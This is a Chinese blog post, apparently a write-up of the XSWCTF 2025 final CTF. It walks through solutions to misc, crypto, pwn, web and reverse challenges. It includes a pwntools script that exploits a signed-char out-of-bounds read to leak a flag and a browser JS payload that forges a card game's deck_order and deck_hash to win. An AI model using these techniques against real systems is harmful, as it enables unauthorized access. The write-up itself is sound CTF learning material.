#
CTF 2025-12-09

XSWCTF 2025 决赛 WRITEUP

By lbyxiaolizi 116 Views 33 MIN READ 0 Comments

使用的AI工具:Gemini 3.0 pro、Gemini2.5 pro、GPT5.1 pro、GPT5.1 Thinking

用途:A1题目中仅提供相关资料的查找、A2题目中(Web)使用MCP辅助作答

说真的,没想到能进决赛,结果总排15、校排5,还拿了个小奖,知足了(

MISC

S1ng

观察文件,发现 Break it down , Scream it!等字样,搜索发现这是Rockstar language

其中有诗意字面量,将was后的字符串按单词分割,然后取长度模10,然后在通过ASCII码转换到字符。

单独把代表输出的Scream摘出来就有:

Scream Music!                   
Scream Jamming!
Scream Manba!                   
Scream Hajimi!   
Scream Tom!
Scream Pitter!
Scream Mike!
Scream Sarah!
Scream David!
Scream Lisa!
Scream Emma!
Scream John!
Scream Kate!
Scream Mark!
Scream Anna!
Scream Chris!
Scream Julia!
Scream Ryan!
Scream Matt!
Scream Amy!
Scream Nick!
Zoe was a a rhythm  Scream it!
Paul was sweet it Scream it!
Rock is a u band Scream it!

按上述规则组合就有Y0u_4re_a_r0ck_st4r,按正则加上得到flag走人

或者也可以用python搓一个按顺序解密的脚本,可以省一点力气(?

import re

FILENAME = "s1ng" 
def poetic_number(text: str) -> int:

    tokens = re.findall(r"[A-Za-z0-9]+", text)
    digits = []
    for t in tokens:
        if t.isdigit():
            digits.append(str(int(t) % 10))
        else:
            digits.append(str(len(t) % 10))
    return int("".join(digits)) if digits else 0

def flag():
    with open(FILENAME, "r", encoding="utf-8", errors="ignore") as f:
        lines = f.readlines()
    vals = {}
    for line in lines:
        line = line.rstrip("\n")
        m = re.match(
            r"^([A-Za-z][A-Za-z0-9']*)\s+"
            r"(was|is|are|were|been|being)\s+(.+)$",
            line
        )
        if not m:
            continue
        name, verb, rest = m.groups()
        vals[name] = poetic_number(rest)
    chars = {k: (chr(v) if 0 <= v < 256 else "?") for k, v in vals.items()}
    order = [
        "Pitter", "Mike", "Sarah", "David", "Lisa",
        "Emma", "John", "Kate", "Mark", "Anna",
        "Chris", "Julia", "Ryan", "Matt", "Amy",
        "Nick", "Zoe", "Paul", "Rock",
    ]
    inner = "".join(chars[name] for name in order)
    return f"XSWCTF{{{inner}}}"

print(flag())

image-20251206175457985

XSWCTF{Y0u_4re_a_r0ck_st4r}

Crypto

Loss N-4

密码学的签到题,先看代码。

image-20251206190325860

发现是经典的RSA,但是nc服务器发现只给了c,d缺少了n。

代码中p和q是相邻的素数,而n是p和q的乘积,所以采用开方取整的形式就可以大约估计出n的值,于是可以逆向解密。

给出脚本

from Crypto.Util.number import isPrime, long_to_bytes
import math

c = 39881154855463719137991225773483608335299949922658023909239528200647461672408524004952359345109785730000483515480417143377099076274128157504514132264769107266582613799375832401122530258304372008085451639184716642045998626191894845118032151285888775347448656809566771742115561786712077133781430318839499568921
d = 5020783175658207187718864587281086950240839053579859621112613576048628151880762913936875646690368214142742785987054606328392948176293398096191779665638954335428132577080710558046502810565797758870432712665465041905108390645627208874470736974559631494055467122376273150265000152903176446790629691932244293573
e = 65537

s = e * d - 1
ed = e * d
n_min = 1 << 1022
n_max = (1 << 1024) - 1
k_low  = ed // n_max
k_high = 2 * ed // n_min
p = q = n = None
for k in range(k_low - 5000, k_high + 5000):
    if k <= 0:
        continue
    if s % k != 0:
        continue
    phi = s // k
    a = math.isqrt(phi)
    for delta in range(-3000, 3001):
        cand_p = a + delta
        if cand_p <= 2:
            continue
        if phi % (cand_p - 1) != 0:
            continue
        cand_q = phi // (cand_p - 1) + 1
        if cand_q <= cand_p:
            continue
        if not isPrime(cand_p) or not isPrime(cand_q):
            continue
        tmp = cand_p + 1
        ok = True
        while tmp < cand_q:
            if isPrime(tmp):
                ok = False
                break
            tmp += 1
        if not ok:
            continue
        p, q = cand_p, cand_q
        n = p * q
        break
    if n:
        break

m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"flag",flag)

得到flag走人

image-20251206191145604

XSWCTF{YOU_kNoW_HOw_To_FactorizE_Ph1}

PWN

encoder

pwn的签到题

扔进IDA看一下main,发现是将大小写转换的程序

image-20251206192408280

image-20251206194200975

image-20251206192612065

看到upper[256]lower[256]中的字符大小写呼唤,其他的字符不变,不认识的字符改成 ?

漏洞在singed char做数组下标的OOB,也即image-20251206193312462,当v3是负数时,就会向前越界读取,刚好upper上方就是flag,所以可以用这种方法读到flag,而lower离的远,选择跳过。

因此让v3 = (signed char)(0xC0 + k),就可以读到flag[k]对应的字节。

于是直接用python连接远程端口轮询。

from pwn import *

p = remote('127.0.0.1', 6882)
flag = b''
for k in range(64):
    p.recvuntil(b'> ')
    leak_byte = (0xC0 + k) & 0xff
    payload = b'A' + bytes([leak_byte])
    p.sendline(payload)
    line = p.recvline().rstrip(b'\n')
    if len(line) >= 2:
        flag += line[1:2]   
    else:
        flag += b'?'
    if flag.endswith(b'}'):
        break

print(flag)

image-20251206195859021

得到flag走人

XSWCTF{0334210b-ea25-4e8e-a7ef-09fec7a14063}

WEB

Gw3nt

web签到题(?

进来发现有源码,下下来看看先,看完一波,结合网页,发现抽卡的核心逻辑在engine.py中控制。

image-20251206213643709

其中resume_match函数没有对deck_orderdeck_hash做严格的验证,只需要匹配就可以放行,所以考虑伪造deck_order

使用JS payload

(async () => {
    const TARGET = window.location.origin; 
    const START_DECK = ["shadow_lunge", "shadow_lunge", "double_trigger", "double_trigger", "night_veil", "night_veil", "chrono_draw", "chrono_draw", "siphon_curse", "siphon_curse"];
    
    const EXPLOIT_DECK = [];
    for(let i=0; i<10; i++) { 
        EXPLOIT_DECK.push("double_trigger"); 
        EXPLOIT_DECK.push("shadow_lunge"); 
    }

    async function sha1(str) {
        const enc = new TextEncoder();
        const hash = await crypto.subtle.digest('SHA-1', enc.encode(str));
        return Array.from(new Uint8Array(hash))
            .map(v => v.toString(16).padStart(2, '0')).join('');
    }

    async function api(endpoint, data) {
        const res = await fetch(`${TARGET}${endpoint}`, {
            method: 'POST',
            headers: {'Content-Type': 'application/json'},
            body: JSON.stringify(data)
        });
        return await res.json();
    }

    console.clear();

    try {
        let state = await api('/match/start', {
            player_name: "WebHacker",
            deck: START_DECK
        });
        const matchId = state.match_id;
        const deckHash = await sha1(EXPLOIT_DECK.join("|"));
        state = await api('/match/resume', {
            match_id: matchId,
            deck_order: EXPLOIT_DECK,
            deck_hash: deckHash,
            last_ack: state.action_seq
        });

        while (!state.winner) {
            const turn = state.turn;
            const mana = state.player.mana;
            const hand = state.player.hand;
            const hasSL = hand.includes("shadow_lunge");
            const dtCount = hand.filter(c => c === "double_trigger").length;
            if (hasSL) {
                const dtToPlay = Math.min(dtCount, mana - 1); 
                if (dtToPlay > 0) {              
                    for (let i = 0; i < dtToPlay; i++) {
                        state = await api('/match/play', { match_id: matchId, card_id: "double_trigger" });
                        if (state.winner) break;
                    }
                }
                
                if (!state.winner) {                  
                    state = await api('/match/play', { match_id: matchId, card_id: "shadow_lunge" });
                }
            } 

            if (state.winner) break;
            state = await api('/match/end-turn', { match_id: matchId });
        }

        if (state.winner === 'player') {
            console.log(`${state.flag_token}`);
        } 

    } catch (e) {
        console.error("error", e);
    }
})();

在浏览器console运行JS脚本,拿到flag走人

image-20251206220531489

XSWCTF{YOu_4re_AN_4we50me_gameR2ad6ad7d-1595-482c-8a04-b745f0667a7b}

Reverse

finaltip

exe就是DIE起手,发现没壳,丢IDA

image-20251206221459487

进strings随便招句话跳进main,反编译查看类C

image-20251206221642821

image-20251206221700379

发现在v6处用sub_402A7D进行验证,进去看具体的验证方案

image-20251206222040793

发现先用sub_402AFE生成255的表,搜索发现是RC4 KSA加密

image-20251206222210112

然后进行sub_402CAC,变成一个长16的字符串

image-20251206222311576

然后用sub_402C3D生成v5,返回v3,是简单的随机序列

image-20251206222447053

最后,用sub_402D1A生成v4

image-20251206222635506

观察代码的逻辑,以及字符串,发现是比较典型的AES加密

而AES的加密密钥在上几步中被反复加密,于是逆向求解即可

对RC4 KSA:

def rc4_ksa(key: bytes):
    S = list(range(256))
    j = 0
    keylen = len(key)
    for i in range(256):
        j = (j + S[i] + key[i % keylen]) & 0xFF
        S[i], S[j] = S[j], S[i]
    return S

S = rc4_ksa(b"ishappyou")
hex1 = "".join(f"{b:02x}" for b in S[:8])
print(hex1)

image-20251206223318263

v3=06f647ab2d4f1179

对普通随机序列:

def msvcrt_rand_seq(seed, n):
    state = seed & 0xffffffff
    res = []
    for _ in range(n):
        state = (state * 214013 + 2531011) & 0xffffffff
        r = (state >> 16) & 0x7fff
        res.append(r)
    return res

seed = 0x44417a9f
rands = msvcrt_rand_seq(seed, 50)
s2_ints = [x & 0xFF for x in rands]
hex2 = ''.join(f"{b:02x}" for b in s2_ints[:8])
print(hex2)

image-20251206223426416

v2=d1c959ef49178858

将得到的两段hex进行拼接,得到d1c959ef4917885806f647ab2d4f1179长31位

而AES密钥要求16位,注意sub_402D1A函数中描述

image-20251206223924922

所以取8-23位作为AES密钥,也即4917885806f647ab

最后直接用脚本进行AES解密即可

from Crypto.Cipher import AES

key = b"4917885806f647ab"
cipher_hex = ("a2346bf169aa11eb0d8b839a95ca42d005728816c034f39fc5162c81094524a85483b78e41ab6b6ab63e278c2efda887")
cipher_bytes = bytes.fromhex(cipher_hex)
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(cipher_bytes)

print(flag)

得到flag,结束!

image-20251206224343227

XSWCTF{1s_th1s_an_3z_2nd_h2ppy_try?}

这次只做出来了5道题,刚好是每个模块的签到题/(ㄒoㄒ)/~~

本文由 lbyxiaolizi 原创

采用 CC BY-NC-SA 4.0 协议进行许可

转载请注明出处:https://blog.vh.gs/ctf/XSWCTF-2025-final-WRITEUP.html

TAGS: CTF

0 评论

发表评论